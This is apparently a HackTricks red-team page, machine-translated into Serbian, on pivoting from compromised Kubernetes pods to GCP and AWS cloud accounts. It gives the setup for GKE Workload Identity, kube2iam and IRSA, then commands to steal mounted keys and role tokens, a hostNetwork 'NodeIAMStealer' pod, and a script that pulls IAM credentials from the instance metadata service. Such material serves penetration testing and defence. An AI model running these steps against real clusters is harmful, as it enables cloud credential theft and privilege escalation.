Kubernetes Pivoting to Clouds
Reading time: 12 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
GCP
Ako pokrećete k8s klaster unutar GCP-a, verovatno želite da neka aplikacija koja se pokreće unutar klastera ima pristup GCP-u. Postoje 2 uobičajena načina da to uradite:
Montiranje GCP-SA ključeva kao tajne
Uobičajen način da se omogući pristup kubernetes aplikaciji GCP-u je da:
- Kreirate GCP servisni nalog
- Povežete željene dozvole
- Preuzmete json ključ kreiranog SA
- Montirate ga kao tajnu unutar poda
- Postavite GOOGLE_APPLICATION_CREDENTIALS promenljivu okruženja koja pokazuje na putanju gde se json nalazi.
warning
Stoga, kao napadač, ako kompromitujete kontejner unutar poda, trebali biste proveriti tu env promenljivu i json fajlove sa GCP kredencijalima.
Povezivanje GSA json sa KSA tajnom
Način da se omogući pristup GSA GKE klasteru je povezivanje na sledeći način:
- Kreirajte Kubernetes servisni nalog u istom namespace-u kao vaš GKE klaster koristeći sledeću komandu:
Copy codekubectl create serviceaccount <service-account-name>
- Kreirajte Kubernetes Secret koji sadrži akreditive GCP servisnog naloga kojem želite dodeliti pristup GKE klasteru. To možete uraditi koristeći
gcloud
komandnu liniju, kao što je prikazano u sledećem primeru:
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Povežite Kubernetes Secret sa Kubernetes servisnim nalogom koristeći sledeću komandu:
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
U drugom koraku su postavljene akreditivi GSA kao tajna KSA. Tada, ako možete pročitati tu tajnu iz unutar GKE klastera, možete escalirati na taj GCP servisni nalog.
GKE Workload Identity
Sa Workload Identity, možemo konfigurisati a Kubernetes servisni nalog da deluje kao a Google servisni nalog. Podovi koji rade sa Kubernetes servisnim nalogom će se automatski autentifikovati kao Google servisni nalog prilikom pristupanja Google Cloud API-ima.
Prva serija koraka za omogućavanje ovog ponašanja je da omogućite Workload Identity u GCP (koraci) i kreirate GCP SA koji želite da k8s imitira.
- Omogućite Workload Identity na novom klasteru
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Kreirajte/ ažurirajte novi nodepool (Autopilot klasteri to ne zahtevaju)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Kreirajte GCP servisni nalog za impersonaciju iz K8s sa GCP dozvolama:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Povežite se na klaster i napravite nalog usluge koji ćete koristiti
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Povežite GSA sa KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Pokrenite pod sa KSA i proverite pristup do GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Proverite sledeću komandu za autentifikaciju u slučaju potrebe:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Kao napadač unutar K8s, trebali biste tražiti SAs sa iam.gke.io/gcp-service-account
anotacijom, jer to ukazuje da SA može pristupiti nečemu u GCP-u. Druga opcija bi bila da pokušate da zloupotrebite svaki KSA u klasteru i proverite da li ima pristup.
Iz GCP-a je uvek zanimljivo enumerisati vezivanja i znati koji pristup dajete SAs unutar Kubernetes-a.
Ovo je skripta za lako iteriranje kroz sve definicije podova tražeći tu anotaciju:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM uloga za Podove)
Zastarjeli način davanja IAM uloga Podovima je korišćenje Kiam ili Kube2IAM servera. U suštini, potrebno je pokrenuti daemonset u vašem klasteru sa nekom privilegovanom IAM ulogom. Ovaj daemonset će biti onaj koji će omogućiti pristup IAM ulogama podovima kojima je to potrebno.
Prvo što treba da uradite je da konfigurišete koje uloge mogu biti pristupne unutar imenskog prostora, a to radite sa anotacijom unutar objekta imenskog prostora:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Kada je prostor imena konfigurisan sa IAM rolama koje Podovi mogu imati, možete naznačiti ulogu koju želite u svakoj definiciji poda sa nečim poput:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Kao napadač, ako pronađete ove anotacije u podovima ili prostorima imena ili ako se kiam/kube2iam server pokreće (verovatno u kube-system) možete imitiirati svaku rolu koja se već koristi od strane podova i više (ako imate pristup AWS nalogu, enumerišite uloge).
Kreirajte Pod sa IAM Ulogom
note
IAM uloga koju treba naznačiti mora biti u istom AWS nalogu kao kiam/kube2iam uloga i ta uloga mora imati pristup.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role for K8s Service Accounts via OIDC
Ovo je preporučeni način od strane AWS.
- Prvo treba da napravite OIDC provajder za klaster.
- Zatim kreirajte IAM ulogu sa dozvolama koje će SA zahtevati.
- Napravite odnos poverenja između IAM uloge i SA imenom (ili imenom prostora imena koji daje pristup ulozi svim SA-ima u prostoru imena). Odnos poverenja će uglavnom proveravati ime OIDC provajdera, ime prostora imena i ime SA.
- Na kraju, napravite SA sa anotacijom koja označava ARN uloge, a podovi koji se pokreću sa tom SA će imati pristup tokenu uloge. Token je napisan unutar datoteke i putanja je specificirana u
AWS_WEB_IDENTITY_TOKEN_FILE
(podrazumevano:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Da dobijete aws koristeći token iz /var/run/secrets/eks.amazonaws.com/serviceaccount/token
pokrenite:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Kao napadač, ako možete da enumerišete K8s klaster, proverite za service accounts sa tom anotacijom da escalate to AWS. Da biste to uradili, jednostavno exec/create pod koristeći jedan od IAM privileged service accounts i ukradite token.
Pored toga, ako ste unutar poda, proverite za env varijable kao što su AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.
caution
Ponekad Trust Policy of a role može biti loše konfigurisana i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga svim service accounts. Stoga, ako ste u mogućnosti da napišete anotaciju na kontrolisanom service account-u, možete pristupiti roli.
Proverite sledeću stranicu za više informacija:
Pronađite Podove i SAs sa IAM Rolama u Klasteru
Ovo je skripta za lako iteriranje kroz sve podove i sas definicije tražeći tu anotaciju:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role
Prethodna sekcija je bila o tome kako ukrasti IAM uloge pomoću podova, ali imajte na umu da će čvor K8s klastera biti instanca unutar oblaka. To znači da je veoma verovatno da će čvor imati novu IAM ulogu koju možete ukrasti (imajte na umu da obično svi čvorovi K8s klastera imaju istu IAM ulogu, pa možda nije vredno pokušavati proveravati svaki čvor).
Međutim, postoji važan zahtev za pristup metapodacima sa čvora, morate biti na čvoru (ssh sesija?) ili barem imati istu mrežu:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Ukrao IAM Role Token
Prethodno smo razgovarali o tome kako da priključite IAM Role na Pods ili čak kako da pobegnete na Node da ukradete IAM Role koji je instanci priključen.
Možete koristiti sledeći skript da ukradete svoje nove teško zarađene IAM role kredencijale:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Reference
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.